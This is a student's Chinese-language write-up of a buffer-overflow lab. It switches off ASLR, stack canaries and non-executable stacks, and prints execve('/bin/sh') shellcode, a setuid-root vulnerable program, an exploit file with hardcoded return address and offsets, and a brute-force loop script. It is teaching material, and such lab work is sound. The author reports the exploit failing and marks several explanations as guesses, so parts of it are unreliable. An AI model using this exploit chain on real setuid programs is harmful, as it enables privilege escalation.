# Buffer-Overflow Vulnerability Lab

# Pre-Experiment

把数据写在固定长度的缓冲区的外面, 但是程序在向缓冲区内写入数据时没有得到良好的保护, 自己程序的栈结构就会被缓冲区外的数据破坏, 这些数据中如果有 "不法分子" 就会进一步制造破坏.

这个实验只需要一台虚拟机, 电脑舒服一些.

实验指导

范志东-缓冲区溢出攻击

关于范同志的博客, 多嘴 BB 一下. 我大三的时候水过一门课, 好像叫什么编译系统啥来着, 完事老师就扔了一本 自己动手构造编译系统 让我自行处理, 就是他写的. 这哪能啊, 我最后抄了一晚上文档就提交了, 现在想来... 两个毫无瓜葛的人能够再见那就是缘分 hhhhh.

WARNING

有一些的问题没解决. 或是有错误的说法. 仅做参考.

# Turning Off Countermeasures

关闭相关的防御机制

# Address Space Randomization

系统自带的地址空间随机化的机制.

sudo sysctl -w kernel.randomize_va_space=0
1

# The StackGuard Protection Scheme

编译 C 文件的时候让 GCC 关闭栈保护

gcc -fno-stack-protector example.c
1

# Non-Executable Stack

不可执行栈. 这个应该和内存的 stack 与 heap 机制有关.

gcc -z execstack -o test test.c     # 栈可执行
gcc -z noexecstack -o test test.c   # 栈不可执行
1
2

参考

# Configuring /bin/sh (Ubuntu 16.04 VM only)

/bin/sh 指向 /bin/dash, 而 dash 在 Ubuntu 16.04 添加了防御机制. 所以将 /bin/sh 指向 /bin/zsh

sudo ln -sf /bin/zsh /bin/sh
1

SET-UID 这是什么

就是 set user id ?

# T1 Running Shellcode

体验一下 shellcode

代码 task1.c

#include <stdio.h> 
#include <unistd.h>
int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL; 
    execve(name[0], name, NULL);
}
1
2
3
4
5
6
7
8

代码 call_shellcode.ctask1.c 的汇编版本.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

/**
 * 等价于: 
 * const char code[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
 */ 

int main(int argc, char **argv) {
    char buf[sizeof(code)]; 
    // buf 的长度为 25B, 与 code 一致. 为什么不直接使用 code? 据说是为了创造溢出. 
    strcpy(buf, code);
    // 这啥啊 ?
    ((void(*)( )) buf)( );
} 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

程序中间有一段 shellcode. 他的功能等价于 task1.c 的功能.

注释中的 shellcode 会好看一些, 它的长度为 25B, 实际字符有 24 个, 最后一个是 \0 结束符号. \x 在 C 中为 16 进制字符的开头, 例如 \x31 为一个字符. shellcode 里面具体干了什么不重要, 知道整体在干啥就行, 不影响后面实验.

TIP

指导中给出的 call_shellcode.c 没有引入 string.h, task1.c 没有引入 unistd.h.

gcc -z execstack -o call_shellcode call_shellcode.c
# or
gcc -z execstack -o task1 task1.c
1
2
3

这一步执行完毕后会起一个新的 shell, 一个孤孤单单的 $.

# The Vulnerable Program -- stack.c

stack.c

/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str) {
    char buffer[BUF_SIZE];
    // buffer 只有 24B, 而 str 有 517B, 创造溢出. 
    strcpy(buffer, str);       
    return 1;
}

int main(int argc, char **argv) {
    char str[517];
    FILE *badfile;

    char dummy[BUF_SIZE];  
    memset(dummy, 0, BUF_SIZE);

    badfile = fopen("badfile", "r");
    // 从 badfile 文件中读取 517B 内容, 并交给 bof 方法. 
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

编译 stack.c 并修改文件用户与访问权限.

gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
1
2
3

# T2 Exploiting the Vulnerability

这个任务在 exploit.c 中修改 buff, 添加合适的内容, 并写入 badfile 中. 这之后运行 stack.c, 如果一切正常, 可以得到一个 root shell.

exploit.c













 
 
 
 
 
 
 
 
 







#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] = "...";

void main(int argc, char **argv) {
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    char jump[] = "\xbf\xff\xeb\xab";
    int offset_jump = 36; 
    for (int i = 0; i < sizeof(jump) - 1; i++) {
        buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];
    }
    int offset_shell = 100;
    for (int i = 0; i < sizeof(shellcode); i++) {
        buffer[offset_shell + i] = shellcode[i];
    }

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

stack.c 中存在缓冲溢出的情况, 需要关闭栈保护, 并允许栈执行.

# 代码解释与说明

按照原理, 需要在 stack.c 中的 bof 函数的退出地址设置一个跳板, 跳板就是一个指向 shellcode 的地址. 而 shellcode 与跳板都在溢出的数据部分. 所以我们需要设置跳板与相应的 shellcode, 并写入溢出的数据部分, 这也是 exploit.c 的主要任务.

13-21 行是主要修改内容.

char jump[] = "\xbf\xff\xeb\xab";
1

13 行中的 0xbfffebabstack.cstr 的地址加上了 100B 的结果. 为什么是 100B? 这里我把 shellcode 放在了 buffer 100B 的位置. 为什么是加? 按照内存的栈结构, 数组被加载入栈后, 是从低位地址向高位地址储存的.

这个 str 地址可以利用 gdb p &str 打印出来 (应该是要在 main 函数这里打断点的, p 只能打印当前作用域的变量, 不是很准确.). 为什么不是 bof 函数中的 buffer 地址? 这个我不好说.

关于 gdb 无法打印 str 地址的情况

具体原因不清楚, 听说是 gcc 编译过程做了一些优化, 删除了不必要的东西, 但是这些东西又会对 gdb 的调试造成影响. 将 stack 的编译指令替换成: gcc -DBUF_SIZE=24 -gstabs+ -o stack -z execstack -fno-stack-protector stack.c 即可

int offset_jump = 36; 
1

14 行 offet_jump, 这个就是程序崩溃的地方, 利用 gdb run 一个精心设计过的 badfile, 会得到一个 invalid address, 同时 gdb 会说程序一共处理了 36B 的 buffer 数据. 我觉得这个非法地址就是 bof 的退出地址, 但是没有证据.

for (int i = 0; i < sizeof(jump) - 1; i++)
1

15 行的 for 这里要把跳板地址最后的 \0 去掉, jump 数组大小为 5B, 地址数据有 4B, 所以 sizeof 后面减了 1.

buffer[offset_jump + i] = jump[sizeof(jump) - i - 2];
1

16 行地址加载的时候是逆序, 这个也是 gdb 告诉我的. 为什么是逆序? 我还没仔细想过.

int offset_shell = 100;
1

18 行 offset_shell 这是 shellcode 相对 str 的偏移量, 就是说我把 shellcode 放在了 buffer 数组的第 100 个(0 计数)单元之后, 也可以设置成其他的.

for (int i = 0; i < sizeof(shellcode); i++)
1

19 行的 sizeof 不要减一, 具体原因不明.

important 中的信息很重要. 优先编译 stack.c, 再编译 exploit.c.

# 操作流程

$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo ln -sf /bin/zsh /bin/sh
$ gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack
$ gcc -o exploit exploit.c
$ ./exploit
$ ./stack
1
2
3
4
5
6
7
8

# 结果

我按照上述操作流程试了几遍, 只能获得一个 $ 的 shell.

T2 的问题如果没有解决, 后面的问题就没办法直接解决.

我的小伙伴表示, 使用 VM Ware 在同样的环境以及同样的操作下可以有理想的结果.

# T3 Defeating dash’s Countermeasure

之前说 dash 这个 shell 有些个问题, 会自动抛弃文件的 privilege. 现在尝试解决 dash 这个问题. 先把 shell 链接设置为 dash.

sudo ln -sf /bin/dash /bin/sh
1

指导还是给出了一份代码 dash_shell_test.c:








 




#include <stdio.h>
#include <sys/types.h> 
#include <unistd.h> 
int main() {
    char *argv[2]; 
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    // setuid(0); 
    execve("/bin/sh", argv, NULL);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11

TIP

dash_shell_test.c 应该将文件归属设置为 root.

  • 先注释掉 8 行的 setuid 方法, 运行.

    gcc -o dash_shell_test dash_shell_test.c
    sudo chown root dash_shell_test
    ./dash_shell_test
    sudo chmod 4755 dash_shell_test
    
    1
    2
    3
    4

    可以得到一个 $ 的 shell.

  • 取消注释 8 行的 setuid 方法, 运行.

    还是一个 $ 的 shell.

很明显这里的实验结果有问题.

不知道 T2 的原因.

最后还给了一段 shellcode, 替换原先的 shellcode 重复 T2. 更换之后, 会显示 segmentation fault, 但是 gdb run 还是正常的, 仍然是一个 $ 的 shell(bash).

# T4 Defeating Address Randomization

想办法干掉地址随机化. 为什么要使用 32 位的 OS 🐶 . 可以使用暴力破解的方式搞到需要的内存地址.

首先关闭地址随机化的机制.

用于暴力破解的脚本 brutal.sh

#!/bin/bash 
SECONDS=0
value=0
while [ 1 ] 
    do
    value=$(( $value + 1 )) 
    duration=$SECONDS 
    min=$(($duration / 60)) 
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far." 
    ./stack
done
1
2
3
4
5
6
7
8
9
10
11
12
13

指令:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ sh ./brutal.sh
1
2

这段脚本需要跑一段时间. 测试的次数不应该超过 2^19. 乘着这个时间看一下 T5 和 T6.

这是结果, 大概用了两个小时.

# T5 Turn on the StackGuard Protection

打开栈守卫保护.

重要

进行 T5 前先关闭地址随机化, 以便观察栈守卫的作用.

在 stack-protector 在场的情况重复之前的实验, 不出意外是有错误的.

$ sudo sysctl -w kernel.randomize_va_space=0
?
1
2

# T6 Turn on the Non-executable Stack Protection

打开不可执行栈的保护.

重要

和 T5 一样, 需要先关闭地址随机化, 以便观察不可执行栈的保护机制.

重复 T2. 我 jio 得吧, 是会报错的. 直觉上, 可执行栈就像指针一样, 提供了对随意修改栈内地址操作的机会.

Last Updated: 7/30/2020, 11:43:12 PM